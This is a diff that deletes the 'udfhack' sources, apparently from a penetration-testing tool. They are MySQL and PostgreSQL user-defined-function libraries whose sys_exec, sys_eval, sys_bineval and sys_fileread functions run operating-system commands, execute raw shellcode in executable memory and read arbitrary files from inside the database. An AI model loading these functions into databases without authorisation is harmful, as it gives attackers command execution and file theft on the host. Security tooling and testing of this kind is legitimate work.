-#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#endif
-
-#endif /* HAVE_DLOPEN */

extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql

@@ -1,35 +0,0 @@
-/*
-        lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-        Copyright (C) 2007  Roland Bouman
-        Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-        web: http://www.mysqludf.org/
-        email: [email protected], [email protected]
-
-        This library is free software; you can redistribute it and/or
-        modify it under the terms of the GNU Lesser General Public
-        License as published by the Free Software Foundation; either
-        version 2.1 of the License, or (at your option) any later version.
-
-        This library is distributed in the hope that it will be useful,
-        but WITHOUT ANY WARRANTY; without even the implied warranty of
-        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-        Lesser General Public License for more details.
-
-        You should have received a copy of the GNU Lesser General Public
-        License along with this library; if not, write to the Free Software
-        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
-DROP FUNCTION IF EXISTS sys_get;
-DROP FUNCTION IF EXISTS sys_set;
-DROP FUNCTION IF EXISTS sys_exec;
-DROP FUNCTION IF EXISTS sys_eval;
-DROP FUNCTION IF EXISTS sys_bineval;
-
-CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';

extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile

@@ -1,16 +0,0 @@
-LIBDIR=/tmp
-
-8.4:
-	gcc-4.2 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
-	strip -sx lib_postgresqludf_sys.so
-	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
-
-8.3:
-	gcc-4.2 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
-	strip -sx lib_postgresqludf_sys.so
-	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
-
-8.2:
-	gcc-4.2 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
-	strip -sx lib_postgresqludf_sys.so
-	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so

extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh

@@ -1,59 +0,0 @@
-#!/bin/bash
-# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
-# Copyright (C) 2009-2010  Bernardo Damele A. G.
-# web: http://bernardodamele.blogspot.com/
-# email: [email protected]
-# 
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-
-# Adapt the following settings to your environment
-USER="postgres"
-PORT="5434"
-VERSION="8.4"
-#PORT="5433"
-#VERSION="8.3"
-#PORT="5432"
-#VERSION="8.2"
-
-echo "Compiling the PostgreSQL UDF"
-make ${VERSION}
-
-if test $? -ne 0; then
-	echo "ERROR: You need postgresql-server development software installed"
-	echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
-
-	if test "${VERSION}" == "8.2"; then
-		echo "apt-get install postgresql-server-dev-8.2"
-	elif test "${VERSION}" == "8.3"; then
-		echo "apt-get install postgresql-server-dev-8.3"
-	elif test "${VERSION}" == "8.4"; then
-		echo "apt-get install postgresql-server-dev-8.4"
-	fi
-
-	exit 1
-else
-	echo "PostgreSQL UDF compiled successfully"
-fi
-
-echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
-
-psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
-
-if test $? -ne 0; then
-	echo "ERROR: unable to install the UDF"
-	exit 1
-else
-	echo "PostgreSQL UDF installed successfully"
-fi

extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c

@@ -1,277 +0,0 @@
-/* 
-	lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2009-2010  Bernardo Damele A. G.
-	web: http://bernardodamele.blogspot.com/
-	email: [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define _USE_32BIT_TIME_T
-#define DLLEXP __declspec(dllexport) 
-#define BUILDING_DLL 1
-#else
-#define DLLEXP
-#include <sys/mman.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#include <postgres.h>
-#include <fmgr.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <ctype.h>
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-#ifdef PG_MODULE_MAGIC
-PG_MODULE_MAGIC;
-#endif
-
-char *text_ptr_to_char_ptr(text *arg)
-{
-	char *retVal;
-	int arg_size = VARSIZE(arg) - VARHDRSZ;
-	retVal = (char *)malloc(arg_size + 1);
-
-	memcpy(retVal, VARDATA(arg), arg_size);
-	retVal[arg_size] = '\0';
-	
-	return retVal;
-}
-
-text *chr_ptr_to_text_ptr(char *arg)
-{
-	text *retVal;
-	
-	retVal = (text *)malloc(VARHDRSZ + strlen(arg));
-#ifdef SET_VARSIZE
-	SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
-#else
-	VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
-#endif
-	memcpy(VARDATA(retVal), arg, strlen(arg));
-	
-	return retVal;
-}
-
-PG_FUNCTION_INFO_V1(sys_exec);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	int32 result = 0;
-	char *command;
-
-	command = text_ptr_to_char_ptr(argv0);
-
-	/*
-	Only if you want to log
-	elog(NOTICE, "Command execution: %s", command);
-	*/
-
-	result = system(command);
-	free(command);
-
-	PG_FREE_IF_COPY(argv0, 0);
-	PG_RETURN_INT32(result);
-}
-
-PG_FUNCTION_INFO_V1(sys_eval);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	text *result_text;
-	char *command;
-	char *result;
-	FILE *pipe;
-	char *line;
-	int32 outlen, linelen;
-
-	command = text_ptr_to_char_ptr(argv0);
-
-	/*
-	Only if you want to log
-	elog(NOTICE, "Command evaluated: %s", command);
-	*/
-
-	line = (char *)malloc(1024);
-	result = (char *)malloc(1);
-	outlen = 0;
-
-    result[0] = (char)0;
-
-	pipe = popen(command, "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = (char *)realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (*result) {
-		result[outlen-1] = 0x00;
-	}
-
-	result_text = chr_ptr_to_text_ptr(result);
-
-	PG_RETURN_POINTER(result_text);
-}
-
-PG_FUNCTION_INFO_V1(sys_bineval);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	int32 argv0_size;
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	argv0_size = VARSIZE(argv0) - VARHDRSZ;
-	len = (size_t)argv0_size;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, VARDATA(argv0), len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		PG_RETURN_INT32(1);
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			PG_RETURN_INT32(1);
-
-		strncpy((char *)addr, VARDATA(argv0), len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	PG_RETURN_INT32(0);
-}
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-
-	}
-
-	return 0;
-}
-#endif
-
-#undef fopen
-
-PG_FUNCTION_INFO_V1(sys_fileread);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	text *result_text;
-	int32 len;
-	int32 i, j;
-	char *filename;
-	char *result;
-	char *buffer;
-	char table[] = "0123456789ABCDEF";
-	FILE *file;
-
-	filename = text_ptr_to_char_ptr(argv0);
-	
-	file = fopen(filename, "rb");
-	if (!file)
-	{
-		PG_RETURN_NULL();
-	}
-	fseek(file, 0, SEEK_END);
-	len = ftell(file);
-	fseek(file, 0, SEEK_SET);
-
-	buffer=(char *)malloc(len + 1);
-	if (!buffer)
-	{
-		fclose(file);
-		PG_RETURN_NULL();
-	}
-
-	fread(buffer, len, 1, file);
-	fclose(file);
-
-	result = (char *)malloc(2*len + 1);
-	for (i=0, j=0; i<len; i++)
-	{
-		result[j++] = table[(buffer[i] >> 4) & 0x0f];
-		result[j++] = table[ buffer[i]	   & 0x0f];
-	}
-	result[j] = '\0';
-	
-	result_text = chr_ptr_to_text_ptr(result);
-	
-	free(result);
-	free(buffer);
-	free(filename);
-
-	PG_RETURN_POINTER(result_text);
-}

extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql

@@ -1,25 +0,0 @@
-/* 
-	lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2009-2010  Bernardo Damele A. G.
-	web: http://bernardodamele.blogspot.com/
-	email: [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

extra/udfhack/linux/README.txt

@@ -1,22 +0,0 @@
-Before compiling, you need to adapt the following to your environment:
-
-Variables in install.sh script:
---------------------------------------------------------------------------
-Variable name			Variable description
---------------------------------------------------------------------------
-USER                    Database management system administrative username
-PORT                    Database management system port
-VERSION                 Database management system version (PostgreSQL only)
-
-Variable in Makefile (MySQL only):
---------------------------------------------------------------------------
-Variable name			Variable description
---------------------------------------------------------------------------
-LIBDIR                  Database management system absolute file system
-                        path for third party libraries
-
-Then you can launch './install.sh' if you want to compile the shared
-object from the source code and create the user-defined functions on the
-database management system.
-If you only want to compile the shared object, you need to call only the
-'make' command.

extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln

@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual C++ Express 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_mysqludf_sys", "lib_mysqludf_sys\lib_mysqludf_sys.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Win32 = Debug|Win32
-		Release|Win32 = Release|Win32
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal

extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c

@@ -1,567 +0,0 @@
-/* 
-	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2007  Roland Bouman 
-	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-	web: http://www.mysqludf.org/
-	email: [email protected], [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define DLLEXP __declspec(dllexport) 
-#else
-#define DLLEXP
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#ifdef STANDARD
-#include <string.h>
-#include <stdlib.h>
-#include <time.h>
-#ifdef __WIN__
-typedef unsigned __int64 ulonglong;
-typedef __int64 longlong;
-#else
-typedef unsigned long long ulonglong;
-typedef long long longlong;
-#endif /*__WIN__*/
-#else
-#include <my_global.h>
-#include <my_sys.h>
-#endif
-#include <mysql.h>
-#include <m_ctype.h>
-#include <m_string.h>
-#include <stdlib.h>
-
-#include <ctype.h>
-
-#ifdef HAVE_DLOPEN
-#ifdef	__cplusplus
-extern "C" {
-#endif
-
-#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
-
-#ifdef __WIN__
-#define SETENV(name,value)		SetEnvironmentVariable(name,value);
-#else
-#define SETENV(name,value)		setenv(name,value,1);		
-#endif
-
-DLLEXP 
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_get
- * 
- * Gets the value of the specified environment variable.
- */
-DLLEXP 
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_get_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_set
- * 
- * Sets the value of the environment variables.
- * This function accepts a set of name/value pairs
- * which are then set as environment variables.
- * Use sys_get to retrieve the value of such a variable 
- */
-DLLEXP 
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_set_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_exec
- * 
- * executes the argument commandstring and returns its exit status.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_exec_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_eval
- * 
- * executes the argument commandstring and returns its standard output.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_eval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_bineval
- * 
- * executes bynary opcodes.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-DLLEXP 
-void sys_bineval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-
-#ifdef	__cplusplus
-}
-#endif
-
-/**
- * lib_mysqludf_sys_info
- */
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	my_bool status;
-	if(args->arg_count!=0){
-		strcpy(
-			message
-		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
-		);
-		status = 1;
-	} else {
-		status = 0;
-	}
-	return status;
-}
-
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	strcpy(result,LIBVERSION);
-	*length = strlen(LIBVERSION);
-	return result;
-}
-
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count==1
-	&&	args->arg_type[0]==STRING_RESULT){
-		initid->maybe_null = 1;
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_get_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	char* value = getenv(args->args[0]);
-	if(value == NULL){
-		*is_null = 1;
-	} else {
-		*length = strlen(value);
-	} 
-	return value;
-}
-
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count!=2){
-		strcpy(
-			message
-		,	"Expected exactly two arguments"
-		);		
-		return 1;
-	}
-	if(args->arg_type[0]!=STRING_RESULT){
-		strcpy(
-			message
-		,	"Expected string type for name parameter"
-		);		
-		return 1;
-	}
-	args->arg_type[1]=STRING_RESULT;
-	if((initid->ptr=malloc(
-		args->lengths[0]
-	+	1
-	+	args->lengths[1]
-	+	1
-	))==NULL){
-		strcpy(
-			message
-		,	"Could not allocate memory"
-		);		
-		return 1;
-	}	
-	return 0;
-}
-
-void sys_set_deinit(
-	UDF_INIT *initid
-){
-	if (initid->ptr!=NULL){
-		free(initid->ptr);
-	}
-}
-
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){	
-	char *name = initid->ptr;
-	char *value = name + args->lengths[0] + 1; 
-	memcpy(
-		name
-	,	args->args[0]
-	,	args->lengths[0]
-	);
-	*(name + args->lengths[0]) = '\0';
-	memcpy(
-		value
-	,	args->args[1]
-	,	args->lengths[1]
-	);
-	*(value + args->lengths[1]) = '\0';
-	return SETENV(name,value);		
-}
-
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_exec_deinit(
-	UDF_INIT *initid
-){
-}
-
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){
-	return system(args->args[0]);
-}
-
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_eval_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	FILE *pipe;
-	char *line;
-	unsigned long outlen, linelen;
-
-	line = (char *)malloc(1024);
-	result = (char *)malloc(1);
-	outlen = 0;
-
-    result[0] = (char)0;
-
-	pipe = popen(args->args[0], "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = (char *)realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (!(*result) || result == NULL) {
-		*is_null = 1;
-	} else {
-		result[outlen-1] = 0x00;
-		*length = strlen(result);
-	}
-
-	return result;
-}
-
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	return 0;
-}
-
-void sys_bineval_deinit(
-	UDF_INIT *initid
-){
-	
-}
-
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	len = (size_t)strlen(args->args[0]);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, args->args[0], len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		return 1;
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			return 1;
-
-		strncpy((char *)addr, args->args[0], len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	return 0;
-}
-
-#if defined(_WIN64)
-void __exec_payload(LPVOID);
-
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__exec_payload(lpParameter);
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#endif
-
-#endif /* HAVE_DLOPEN */

extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj

@@ -1,192 +0,0 @@
-<?xml version="1.0" encoding="Windows-1252"?>
-<VisualStudioProject
-	ProjectType="Visual C++"
-	Version="8,00"
-	Name="lib_mysqludf_sys"
-	ProjectGUID="{4D362A3E-CA53-444C-B1C8-C49641823875}"
-	RootNamespace="lib_mysqludf_sys"
-	TargetFrameworkVersion="196613"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-	</Platforms>
-	<ToolFiles>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
-				PreprocessorDefinitions="HAVE_DLOPEN"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				WarningLevel="3"
-				DebugInformationFormat="4"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
-				GenerateDebugInformation="true"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
